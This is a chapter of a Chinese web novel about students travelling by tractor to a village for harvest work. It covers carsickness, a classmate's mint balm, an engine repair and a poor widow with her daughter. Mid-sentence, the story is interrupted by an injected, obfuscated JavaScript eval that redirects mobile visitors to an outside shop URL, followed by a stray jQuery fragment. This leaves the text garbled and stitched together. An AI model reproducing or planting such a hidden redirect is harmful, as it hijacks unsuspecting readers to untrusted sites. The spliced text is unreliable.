第9章「秋收实践周(一):出发」
拖拉机是六点半到校门口的。
那是一辆老式手扶拖拉机,车头铁皮锈了大半,原本的绿色被铁锈和机油浸染成了深褐色。排气管朝上翘着,边缘烧得发黑,像一根被反复炙烤过的旧烟囱。发动机启动的时候排气管先是空响了两声,然后"突突突"地喷出一团团黑烟,烟从排气口涌出来,先是一团浓的,然后散了,散了之后又从底下涌上来新的,周而复始,像一朵墨色的花在不停地开败。车斗是用铁板焊的,斗壁上坑坑洼洼的,有好几处被石头磕过的凹坑,凹坑底部积着一层暗色的泥土。有些地方补了铁皮,补丁的边沿用焊点固定,焊点密密麻麻地鼓着,像一串被烙在铁皮上的痦子,用手摸过去会有凸起的触感。
带队老师姓孙,戴一顶草帽。帽檐压得很低,遮住了大半张脸,只能看见下巴上有一撮没刮干净的胡茬,在晨光里泛着深灰色。他站在车斗旁边,一边用手拍着车斗的铁皮壁一边喊:"挤一挤,都上来!二十里地,一个小时到。"车斗不大,铁皮壁内侧焊了几根横杆用来扶,但横杆间距不均匀,有的高有的低。二十多人塞进去,膝盖碰膝盖,肩膀挤肩膀,有人把背包抱在胸前,有人把背包放在脚面上,空间被压缩到极限,跟插秧一样,一排人挤着一排人。
顾长风第一个跳上去。他一只脚先踩住车斗底部的横梁,另一只脚跟着跨上去,然后一屁股坐在了车尾的铁皮沿上。铁皮沿窄,坐上去的时候硌得他皱了一下眉,但他没换位置,伸手向下拉赵晓雷。赵晓雷上来的动作慢一些,他的脚踩在了车斗底板的焊接口上,焊点凸起的边缘隔着鞋底硌了他一下,他脚掌缩了缩,但没有出声,蹲在了顾长风旁边,两只手交叉搁在膝盖上。周慧婷三两步就蹬上去了,动作利落,脚掌在铁皮沿上踩了一下借力,然后直接盘腿坐在了车斗正中间的位置。她坐定之后拍了拍旁边的铁皮板:"这儿能坐。"韩一博是被人群推上去的——后面的人挤着他往前走,他没有选择,脚被推着跨上车斗之后就开始往角落里缩。他缩进了铁皮板和车斗壁之间的夹角里,那个角度窄,他的膝盖和胸口之间几乎没有空隙,帆布包被他夹在腿间,两只手攥着包带,手指因为用力而发白,指节处的皮肤绷得紧紧的。
苏晴琬上车的时候先看了一眼车斗里的分布。她站在车斗外面,目光从左扫到右,然后选择了靠近车头的位置——那里的铁皮沿比车尾宽一些,她把笔记本垫在膝盖上,侧身坐着,后背靠着驾驶室的铁板,坐稳之后把笔记本翻开了一页。林知秋上得慢。他背上的樟木药箱在校门口的人群里被撞了一下,他赶紧侧过身把箱子护在怀里,然后挤上了车,蹲在车厢中部,药箱被他搁在脚背上,两只手扶着箱盖的边沿,像是在保护什么正在被孵化的东西,动作谨慎而专注。许曼妮是最后几个上来的。她跳上车斗的时候脚滑了一下——鞋底碰到了铁皮沿上一处打磨得不够平滑的边缘,她人往前倾了一下,手撑在铁皮沿上,掌根压住了铁皮边缘一处翘起的毛边。那毛边在她掌心刮了一道白印,没有破皮,但皮肤表面留下了一道持续发红的痕迹,掌根处的毛细血管被挤压之后呈现出淡粉色的条纹。
陈远山是最后一个。车斗里所有位置都挤满了人,他在车斗外面站了三秒,目光从铁皮壁上的焊缝扫过,确认了车斗的承重结构。然后他翻了上去,没有选择任何能坐的位置,直接坐在紧挨驾驶室的那一侧。他面朝前方,背靠着驾驶室的铁板,那个位置最颠,因为车斗前端和后轮的轴距最远,颠簸的幅度在车斗前部会被放大。但他的背靠上去之后就再也没有动过,两只手搁在膝盖上,掌心朝下,看着前方的路。
拖拉机发动了。排气管喷出一团黑烟,那烟在排气管口聚集了大约半秒,然后被发动机的震动震散了。车身猛地一震,车斗里的人因为惯性齐齐往后仰了一下,有人用手肘撑住了旁边的铁皮壁,有人抓住了横杆,有人只是随着那股力道晃了晃然后自己找回了平衡。然后车头拖拉着车斗,"突突突"地往城外开去,排气管喷出的烟雾在车斗后方拖出一道断续的、逐渐变淡的轨迹,像是被风在不断地拉长和稀释。
顾长风开始唱歌。他唱的是《在希望的田野上》,但开头第一句就跑调了——"我们的家乡"被他唱成了"窝们得家乡",后面的拍子快了一拍,像一条狗追着自己的尾巴跑,每次快要咬到的时候又滑开了,然后继续加速追。赵晓雷在旁边拧起了眉头,压低声音说:"你他妈跑调了。"顾长风理都不理他,声音反而更大:"在希望的田野上——"赵晓雷抬腿踢了他小腿一脚,鞋底和他的胫骨碰了一下:"闭嘴。"顾长风咧嘴笑了一下,然后把调子直接甩向更离谱的方向,声音大得像是故意要把歌词唱成另一首歌,整个人在车斗的颠簸里随着节奏晃来晃去,肩膀一抖一抖的,像被什么力量在反复推动着。车斗里有几个人被他的行为逗笑了,那笑声从人群中溢出来,被排气管的突突声和风在铁皮壁上拉出的细响压住了大半,但还是能听见,笑声在空气中扩散开来,经过了一段短距离的传播后被风扯碎,飘到车尾的时候只剩下一层轻薄的回声。
周慧婷没有笑。她坐在车斗正中间,面朝车尾,两只手撑着铁皮板的边沿,脊背随着车身的颠簸一下一下地晃动。她的视线始终落在车后那条正在后退的土路上,那些被车轮压过的碎石子翻卷着滚向路边,带着细小的尘土在空气中短暂悬浮。路退过了一片苞米地,苞米秆子枯黄了,叶子耷拉在秆子上,边缘干卷着,像被火燎过之后留下的痕迹。地垄之间的垄沟歪歪扭扭的,有些地方被雨水冲刷过之后坍塌了,露出底下颜色更深的土层。路边有一道排水沟,沟底干裂成无数细小的碎块,一块一块地翘着边缘,像是被什么力量从底部顶开了。周慧婷盯着那道沟看了很久,嘴唇动了一下,说出来的声音很轻,像是自言自语,被风一卷就散了:"可惜了。"
韩一博缩在车斗的角落里。他的脸冲着铁皮壁,目光落在一道从板子上端一直延伸到下端的锈痕上,那锈痕的形状弯曲而扭曲,像一条干涸的河流在沙地上留下的痕迹,最宽的地方有食指那么粗,最细的地方几乎看不清楚,但它的走向是连续的,从板子的顶端出发,沿着铁皮的纹理一路往下走,最终消失在铁皮和车斗壁之间的焊缝里。他的视线随着那道锈痕走了好几个来回,从那道锈痕在顶端突然开始的地方出发,向下移动,经过几个转折,在它变得越来越窄直到与周围的铁锈融为一体时再次折返,回到起点,重新开始——像在读一段反复出现的、没有标点的、长得不像是会被读完的文字。
苏晴琬坐在前排靠边。她膝盖上的笔记本被风翻了一页,她用手压住了,笔尖在纸面上移动。第一行:"棉田,株高约70cm,棉铃稀疏,有黄叶。"她记完这一行,抬头看了一眼下一块地。那块地的棉花植株比前一块更矮一些,黄叶的比例更大,她看了一会儿,把笔尖收回来,在刚才那一行字上划了一道横线,然后在下面重新写:"棉田,株高约70cm,棉铃稀疏,大量黄叶,推测缺钾或病害。"笔尖在"病害"两个字后面停了一下,然后她加了一个问号,笔尖在问号的弧线上走过时在纸面上留下了一个短暂的停顿。
许曼妮蹲在车厢中部。她选的这个位置靠边但不靠后,原以为会稳一些,但她的判断出了问题——车斗的后轮正好在这块铁皮板底下,轮子压过路面上的每一处颠簸都直接传导到这块铁皮上,再透过铁皮传到她坐的位置。她的身体随着每一次颠簸被向上推又落回来,推上去的时候她的胃会悬空半秒,落下来的时候胃又会被压回原位。她咬牙忍了十分钟,手掌撑着铁皮板的边沿,指节因为用力而泛白。到了第二十分钟的时候,她猛地转头——动作快,但幅度大,头侧过去的同时一只手撑住了铁皮板的外沿,另一只手捂着嘴,她对着车斗外的土路吐了出来,没有声音。只有肩膀一耸一耸的,后背的布料随着她身体的起伏而绷紧又放松,喉咙里什么声音都没有,只有一阵持续而规律的干涩痉挛传到了她的肩胛骨。
林知秋蹲在她后面,距离不到一臂远。看见许曼妮的肩膀出现第一次明显的抽动时,他已经把手伸进了樟木药箱。他的手指在药箱底层停顿了一瞬,然后摸出了那个小扁盒——铁皮的,盒盖上贴着一块白胶布,上面用钢笔写着"薄荷"两个字,笔迹细密,墨水已经有些褪色,但依然清晰可辨。他拧开盒盖,指腹在墨绿色的膏体表面沾了一下,然后往前挪了半个身位,蹲在许曼妮旁边,把扁盒递到她面前,开口说:"抹太阳穴。"他的目光没有落在她身上,而是落在车斗外路边的田间地头,像在专注地看着远处一片正在缓慢后退的苞米地。
许曼妮吐完之后直起腰。她的眼角发红,嘴边的残余她用袖子擦了一下。她看着那个递过来的小扁盒,又看了看林知秋——他侧着脸,目光没有看她。她接过扁盒,食指蘸了一点膏体,抹在了太阳穴上。凉意从皮肤表面渗进去,先是薄薄的一层像水汽蒸发,然后逐渐加深,像是有一小块冰正在从皮肤表面往内部融化。她呼出一口气,那口气的长度比之前任何一次都长了一些,像是胸腔里的某根被拧紧的管子松开了一点点。她把扁盒递回去的时候,声音还带着吐过之后的微哑:"你怎么知道有用?"林知秋接过来,合上盖子放回药箱:"我奶奶教的。晕车的人抹这个,能撑半日。"她看着他。说话的时候他的目光还落在外面,但他的耳朵正在变红——先是耳垂那一小片皮肤从肉色变成浅粉,然后红色沿着耳廓的边缘往上升,经过耳廓中部,一直蔓延到耳尖。那片红色在耳朵的顶端停留了大约几秒,没有继续扩散,也没有消退。她看着他那只变红的耳朵,突然笑了一下,那笑容还带着晕车之后的虚浮,嘴角翘得不高,但确实翘了:"谢谢。"
车又颠了十几分钟之后停了。发动机的声音在逐渐变弱的过程中出现了异常——它的排气管发出的"突突"声开始断断续续,中间出现了越来越长的间隙,而且每次重新发声的时候音调都比上一次低一些。一股白烟从发动机盖的侧面冒出来,那烟的颜色比排气管排出来的浅,带着一种烧焦橡胶的刺激气味。司机跳下车头,掀开发动机盖,猫着腰往里看了一眼,然后伸出一只手,用食指拨了一下某根管子的位置,又缩回来,在拇指上搓了搓,沾了一手黑油。
"坏了。"司机直起腰,把手在黑裤子上擦了擦,"得等。"
顾长风第一个跳下车,绕到车头,凑到发动机盖旁边弯下腰往里看。赵晓雷紧跟着跳了下来,他拨开顾长风挤到前面,蹲下来歪着头看了几秒,然后伸出手,用指背快速碰了一下那根正在冒烟的管子——动作很快,他的手指碰到管壁的一瞬间就缩回来了,缩回的速度比他伸出去时快了不止一倍。烫的。他把缩回来的那只手在裤子上蹭了两下。"皮带松了。"他站起来看着司机说。司机看了他一眼,那一眼里的内容像是"你个小毛孩懂什么"。他没有回答,只是把发动机盖往下放了放,没有合拢,也没有继续检查。赵晓雷没有等他的回答,转身回了车斗。他从
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17980223|214810||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
自己的蛇皮袋里掏出了那把铁锹,锹头在晨光里反着暗色的光,边缘那道豁口还在。他把铁锹扛在肩上走回车头,司机往后退了半步,看着他:"你要干啥?"赵晓雷没有回答。他把铁锹头伸进了发动机侧面的缝隙,锹头的平面从侧面贴住了那根已经偏移的皮带。他用锹头的边沿卡住皮带的内侧齿槽,手腕压了一下,又压了一下,把皮带的张力往正确的方向推了一下,再推了一下,然后用锹把作为杠杆支点,把皮带重新卡回了轮槽。发动机的轮子在皮带归位之后开始重新转动——一开始慢,然后逐渐加速,排气管的"突突"声从断断续续恢复了连续。白烟在继续冒了一小阵之后开始变淡,最后几乎看不见了。
司机走过来,弯下腰看了一眼被锹头撬过的位置,又直起腰看了赵晓雷。他看了他好几秒,像在确认什么。"你修过?"赵晓雷把铁锹收回来,锹头沾了一层黑油,他用裤腿擦了一下:"我爹是八级钳工。"司机没有再问。他坐回驾驶座,拉了一下油门杆,发动机的声音恢复平稳之后重新挂上了挡。拖拉机又开始往前走了。
路越来越窄。柏油路变成了土路,土路变成了碎石路,路面上的碎石大小不一,有些边缘尖锐,车轮碾过的时候会发出"嘎嘣"的脆响。车斗颠得越来越厉害,铁皮板在每一次颠簸中都会发出短促的震颤声,像是被敲击之后的铁片在空气中还没有完全停稳。有人开始扶着横杆,有人把背包垫在了屁股底下,有人调整了蹲姿以寻找更稳定的重心。
车在红星村村口停了。村口立着一棵老槐树,树干粗得两个成年人合抱不过来,树皮裂着深沟,沟缝里长着一层暗绿色的青苔,像是某种经过漫长岁月沉淀下来之后被凝固在木头表面的墨迹。槐树底下站着一个女人。瘦——瘦到肩膀上的骨头从褂子里顶出来,顶着布料,在肩膀的最高处形成两个尖锐的凸起。她的脸是深褐色的,颧骨高而突出,眼睛不大但深,眼窝凹陷的程度比普通人深一些,像是很久没有睡过整觉。头发用一个黑色铁卡子别在脑后,有几缕碎发没有别住,垂在耳侧,被风吹动的时候会轻轻晃动。她身上的蓝布褂子洗得已经透了,能隐约看见里面肩胛骨和锁骨的位置,布料薄得像一层壳。她的双手绞在身前,手指互相攥着,指节因为用力而发白,像在用力控制着那双手不要自己松开。
她身后站着一个扎羊角辫的小女孩。六七岁,身上的衣服是改过的——袖子剪短之后再缝了边,露出一截细瘦的手腕,袖口的缝线因为多次拆改而在布料上留下了深浅不一的痕迹。小女孩手里攥着一条灰蓝色的小手帕,手帕被攥成了一个不规则的团状,手帕和手心之间夹着一截粉笔头。白色的粉笔灰已经沾满了她的手掌和指缝,在日光里反着细密的光。
李寡妇往前迈了一步,朝拖拉机弯了一下腰。她弯腰的时候背上的肩胛骨把褂子顶出了两道明显的棱线,像是有什么东西在她的皮下正在撑开什么以容纳更多的东西,然后她的声音从那个弯腰的姿势里传了出来:"老师,家里没好东西,你们别嫌弃。"
车斗里的人安静了一瞬。不知道是谁先跳下去的——大概是顾长风,他的脚已经落到地面上了,然后他转身去帮许曼妮提箱子。其他人也陆续从车斗上翻了下来,脚踩到村口的泥地上,踩出深浅不一的脚印。有人的鞋底沾了厚厚的泥,在抬脚的时候还带走了一小片土块。许曼妮落地的时候腿还有些软,她扶着车斗的铁皮沿站了一会儿才松手,然后她看见了那个小女孩。
小红花蹲在槐树旁边的泥地上,那截粉笔头被她的手指捏着,她用它在泥地上写字。粉笔头只剩大拇指的第一个指节那么长了,她捏得很费力,指尖和粉笔头之间的接触面因为太小而需要额外的力量来保持稳定。她写了一个"土"字,横,竖,横。最后一横收笔的时候手顿了一下,在笔画末端留下了一小团白粉的堆积。她抬头看了看自己写的那个字,然后又低头,用粉笔头沿着"土"的竖重新描了一遍,描得比第一次更粗一些。许曼妮走过去,蹲在了她旁边,没有开口说话。小红花抬头看了她一眼——她的眼睛很黑,瞳孔在日光里没有明显收缩,边缘光滑而大,像两颗被水洗过的深色石子,在光线下反着饱满的光。她又低下头去,在"土"字的旁边写了一个"田"字。口字框的第一笔写歪了,角度比应该的倾斜了一些,但最后一横从框的一侧划到了另一侧,收尾时拖出去一小截,她没有擦掉那个错误,而是继续在旁边写了一个"人"字,写在"田"的右侧,像是田里正站着一个人。
小红花放下粉笔头,把它包进手帕里,攥紧。"我写完了。"她的声音没有抬头,像是在对那些字解释给许曼妮听,也像是在对它们本身说。许曼妮蹲在那里,看着泥地上那三个字。阳光从槐树叶子的缝隙里漏下来,落在粉笔字的沟槽里,白得发亮,和周围的泥土颜色形成了明确的区分。她忽然感到眼眶周围有一股温热正在聚拢。她眨了两次眼,把那一点温度压住了。
她站起来想找人,她的视线在人群里扫了一圈,然后停在了林知秋所在的方向。他站在五步之外,背对着她,正在从车斗上往下搬他的樟木药箱——他的动作停在半途中,一只手扶着药箱盖的边缘,手指弯曲着停在箱盖的上方,没有打开,就那么维持着那个姿势,像是被什么短暂的停顿固定在了那里。
拖拉机突突响了两声之后彻底熄火了。村口安静下来,远处传来一声牛的叫声,那声音不高,但传得远,从田野的某个方向传过来,在村口的上空停留了一会儿,又落了下去。